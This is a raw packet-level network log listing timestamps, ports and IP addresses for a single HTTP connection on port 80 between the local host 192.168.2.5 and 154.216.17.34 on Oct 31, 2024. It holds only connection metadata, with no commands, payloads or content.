Oct 31, 2024 02:09:15.251468897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251471996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251483917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251502037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251513958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251526117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251528025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251545906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251555920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251558065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251573086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251573086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251590967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251597881 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251604080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251615047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251631021 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251641989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251657009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251681089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251693010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251701117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251724958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251735926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251754999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251765966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251766920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251797915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251800060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251815081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251833916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251842022 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251846075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251858950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251869917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251883984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251885891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251895905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251919031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251925945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251945019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251952887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251964092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251969099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251995087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252012968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252075911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252088070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252099991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252111912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252125978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252134085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252137899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252151012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252191067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252191067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252203941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252312899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252332926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252343893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252357960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252374887 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252408028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252561092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252590895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252603054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252635956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252650023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252660036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252660036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252662897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252696037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252698898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252712011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252727032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252758980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252782106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252794981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252806902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252827883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252856016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.252968073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.252979994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253021955 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253050089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253065109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253077984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253098965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253103018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253127098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253154993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253211021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253236055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253266096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253279924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253293037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253295898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253354073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253489971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253503084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253515005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253530979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253544092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253556013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253582001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253603935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253612041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253665924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253675938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253678083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253699064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253710985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253712893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253724098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253748894 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253782988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253868103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253889084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253902912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253916025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253931046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253933907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253942013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253966093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.253968954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.253984928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254009962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254028082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254040956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254053116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254070997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254081011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254085064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254093885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254122019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254132986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254133940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254147053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254158020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254189014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254215956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254381895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254395008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254411936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254425049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254436016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254437923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254457951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254461050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254472017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254497051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254503965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254515886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254528046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254544020 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254561901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254570007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254574060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254586935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254611015 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254623890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254662037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254681110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254693985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254705906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254713058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254720926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254733086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254750013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254780054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254786968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254813910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254822969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.254825115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.254862070 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.276637077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.276652098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.276675940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.276707888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.276761055 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.288455009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288474083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288487911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288527012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.288532019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288547039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288559914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288564920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.288585901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288594961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.288599968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288614035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288633108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.288654089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288659096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.288667917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288682938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288703918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288712025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.288719893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288733959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.288759947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288769007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.288805008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.288847923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288862944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288876057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288891077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.288916111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.288944960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.300079107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.300107002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.300121069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.300137997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.300158024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.300177097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.300373077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.300424099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.300450087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.300462008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.300476074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.300491095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.300503969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.300507069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.300542116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.303436041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.303447962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.303461075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.303493023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.303519964 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.303699970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.303746939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.303756952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.303771019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.303786993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.303798914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.303807974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.303845882 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304043055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304054022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304065943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304100037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304105043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304117918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304126024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304150105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304171085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304183960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304197073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304218054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304228067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304234028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304246902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304248095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304274082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304280996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304295063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304306030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304308891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304343939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304368973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304390907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304415941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304429054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304446936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304460049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304461956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304492950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304507017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304510117 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304528952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304536104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304557085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304594040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304617882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304629087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304641962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304672003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304677010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304687977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304706097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304735899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304765940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304780006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304795027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304816008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304847002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304852962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304861069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304876089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304888964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304897070 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304902077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304914951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.304940939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.304972887 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305315971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305327892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305341959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305356979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305375099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305393934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305465937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305478096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305490971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305504084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305520058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305526018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305531979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305546045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305551052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305561066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305572033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305593014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305605888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305618048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305622101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305630922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305654049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305658102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305684090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305712938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305814981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305824995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305838108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305854082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305869102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305883884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305897951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305902004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305908918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305922985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305927038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305942059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305955887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.305968046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.305969954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.306001902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.306020021 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.306046963 CET	80	49982	154.216.17.34	192.168.2.5
